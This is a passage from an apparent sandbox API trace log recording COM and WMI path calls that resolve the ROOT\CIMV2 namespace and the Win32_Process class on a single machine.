ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bd20) returned 0x0 [0063.166] WbemDefPath:IUnknown:Release (This=0x1bf11940) returned 0x0 [0063.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bd20) returned 0x0 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.167] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11980) returned 0x0 [0063.167] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.167] WbemDefPath:IUnknown:Release (This=0x1bf11980) returned 0x3 [0063.167] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.167] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.167] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0063.167] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0063.167] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.167] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bd20) returned 0x0 [0063.167] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0063.167] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0063.168] WbemDefPath:IWbemPath:SetText (This=0x119bd20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0063.168] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119bc60) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0063.168] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bc60, uIndex=0x0, pszName="ROOT") returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0063.168] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bc60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetClassName (in: This=0x119bc60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0063.168] WbemDefPath:IWbemPath:SetClassName (This=0x119bc60, Name="Win32_Process") returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bc60, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bc60, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0063.168] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0063.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.169] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0063.169] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0063.169] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0063.169] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0063.169] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0063.169] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0063.169] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0063.169] IUnknown:Release (This=0x111f638) returned 0x1 [0063.170] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf2a840) returned 0x0 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2a840, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0063.171] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2a840, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119bde0) returned 0x0 [0063.171] WbemDefPath:IUnknown:Release (This=0x1bf2a840) returned 0x0 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119bde0) returned 0x0 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0063.171] WbemDefPath:IUnknown:AddRef (This=0x119bde0) returned 0x3 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf2a880) returned 0x0 [0063.171] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2a880, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.171] WbemDefPath:IUnknown:Release (This=0x1bf2a880) returned 0x3 [0063.171] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0063.171] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0063.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0063.171] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x2 [0063.172] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x1 [0063.172] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0063.172] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0063.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119bde0) returned 0x0 [0063.172] WbemDefPath:IUnknown:AddRef (This=0x119bde0) returned 0x3 [0063.172] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x2 [0063.172] WbemDefPath:IWbemPath:SetText (This=0x119bde0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0063.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.172] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0063.172] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.172] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.172] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.172] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.172] IUnknown:Release (This=0x111f638) returned 0x1 [0063.174] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2a8c0) returned 0x0 [0063.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2a8c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.174] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2a8c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bea0) returned 0x0 [0063.174] WbemDefPath:IUnknown:Release (This=0x1bf2a8c0) returned 0x0 [0063.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bea0) returned 0x0 [0063.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.175] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0063.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2a900) returned 0x0 [0063.175] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2a900, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.175] WbemDefPath:IUnknown:Release (This=0x1bf2a900) returned 0x3 [0063.175] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.175] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.175] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0063.175] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0063.175] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.175] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bea0) returned 0x0 [0063.175] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0063.175] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0063.175] WbemDefPath:IWbemPath:SetText (This=0x119bea0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0063.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bde0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0063.175] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0063.175] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0063.175] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119bde0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bea0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bea0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0063.176] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bde0, uIndex=0x0, pszName="root") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bea0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bea0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0063.176] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bde0, uIndex=0x1, pszName="cimv2") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetServer (in: This=0x119bea0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetServer (in: This=0x119bea0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetServer (in: This=0x119bde0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetServer (in: This=0x119bde0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bde0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bde0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.176] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0063.177] WbemDefPath:IWbemPath:GetText (in: 